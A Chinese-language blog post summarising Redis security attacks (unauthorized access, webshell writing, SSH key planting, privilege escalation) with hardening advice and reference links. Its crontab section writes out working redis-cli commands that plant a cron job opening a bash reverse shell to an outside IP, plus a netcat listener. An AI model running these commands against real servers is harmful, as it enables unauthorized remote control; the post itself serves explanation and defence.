Redis安全小结

缘由:

近年来,随着Redis的流行,越来越多的安全研究人员注意到了Redis的安全问题,并通过Redis发起攻击。虽然我不做那方面,但是了解一下和Redis相关的安全攻击手段也是很有必要的。

正文:
和Redis相关的安全问题:
  • 远程未授权访问

利用条件:默认情况下如果没有用「bind指令」对可连接IP做限制,则会出现「远程未授权访问」的情况,易被攻击者用来获取敏感信息以及进行进一步攻击。

利用方式:本地直接用redis-cli或图形化的工具连接远程的Redis数据库。

  • 获取Webshell

利用条件:redis远程未授权访问,知道Web目录的绝对路径,且运行redis的用户有对Web目录的写权限。

利用方式:连上远端未授权访问的redis并用命令向Web目录写入一句话木马(也可以是大马),然后本地用菜刀连接。

  • 获取SSH连接

利用条件:redis远程未授权访问,知道运行redis的用户名,且运行redis的用户可以进行SSH连接。

利用方式:在本地生产公私钥文件,然后连上远端redis并将自己的公钥写入远端服务器的 authotrized_keys 文件里,然后攻击者即可远程利用自己的私钥登录该服务器。

  • 通过Redis提权

利用条件:已获取一个低权限的Webshell,服务器上运行着本地可访问的redis,且运行redis的用户权限较高。

利用方式:通过Webshell操作redis写SSH key文件以进行提权操作。

  • 其他的一些利用(Redis+crontab)
$ redis-cli config set dir /var/spool/cron/
$ redis-cli config set dbfilename root
$ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/10.2.11.11/8443 0>&1 \n\n" | redis-cli -x set 1
$ redis-cli save
$ nc -lvv 8443

Redis安全配置

  1. 以低权限启动;
  2. 设置bind指令,限定可以连接Redis服务器的IP;
  3. 修改Redis的默认端口;
  4. 设置密码;
  5. 禁用部分危险命令;
  6. 如果必需要对外提供服务的话,设置iptables规则;
参考链接:
  • 利用redis写webshell http://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html http://www.secpulse.com/archives/5357.html
  • redis配置不当可直接导致服务器被控制 http://www.secpulse.com/archives/40406.html
  • Redis 未授权访问配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
  • Redis未授权访问 http://singled0g.com/2015/11/12/redis-attack/ http://www.cdxy.me/tag/redis/
  • Redis安全总结 http://bl4ck.in/index.php/penetration/Attack-Redis.html
  • A few things about Redis security http://antirez.com/news/96 https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/ https://news.ycombinator.com/item?id=10537852 http://static.nosec.org/download/redis_crackit_v1.1.pdf
  • redis利用姿势收集 https://phpinfo.me/2016/07/07/1275.html

原文发布于微信公众号 - 我为Net狂(dotNetCrazy)

原文发表时间:2016-08-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏叔叔的博客

使用spring cloud配置中心后的配置优先级

我实验后得到的优先级有:配置中心 > 命令行参数 > 本地application.yml > 本地bootstrap.yml

2042
来自专栏FreeBuf

技术解析 | Web缓存欺骗测试

前言: Omer Gil在BlackHat USA 2017 和BSides Tel-Aviv 2017 上,对Web 缓存欺骗技术这种攻击技术进行了演示,在他...

2716
来自专栏从零开始学自动化测试

Selenium2+python自动化2-pip降级selenium3.0

selenium版本安装后启动Firefox出现异常:'geckodriver' executable needs to be in PATH selenium...

3235
来自专栏耕耘实录

一个小工具(setup),小白也能独立管理自己的Linux服务器

版权声明:本文为耕耘实录原创文章,各大自媒体平台同步更新。欢迎转载,转载请注明出处,谢谢

1783
来自专栏斑斓

Spark Submit的ClassPath问题

需求场景: 我们的产品需要与客户的权限系统对接,即在登录时使用客户的认证系统进行认证。集成认证的方式是调用客户提供的jar包,调用userService的aut...

5209
来自专栏PHP实战技术

微信开发中网页授权access_token与基础支持的access_token异同

问题1:网页授权access_token与分享的jssdk中的access_token一样吗? 答:不一样。网页授权access_token 是一次性的,而基础...

3708
来自专栏十月梦想

包含文件include,require,include_once,require_once

include,require,include_once,require_once四种都是包含文件请求

1145
来自专栏hbbliyong

tar.xz文件如何解压

XZ压缩最新压缩率之王 xz这个压缩可能很多都很陌生,不过您可知道xz是绝大数Linux默认就带的一个压缩工具。 之前xz使用一直很少,所以几乎没有什么提起。 ...

58210
来自专栏IT技术精选文摘

架构师详解:Nginx 架构

1574
来自专栏HappenLee的技术杂谈

NFS服务器的安装与配置

由于实验室的项目需要实现在CephFS之上建立NFS之上,所以记录一下NFS服务器的安装与配置流程。

3204

扫码关注云+社区

领取腾讯云代金券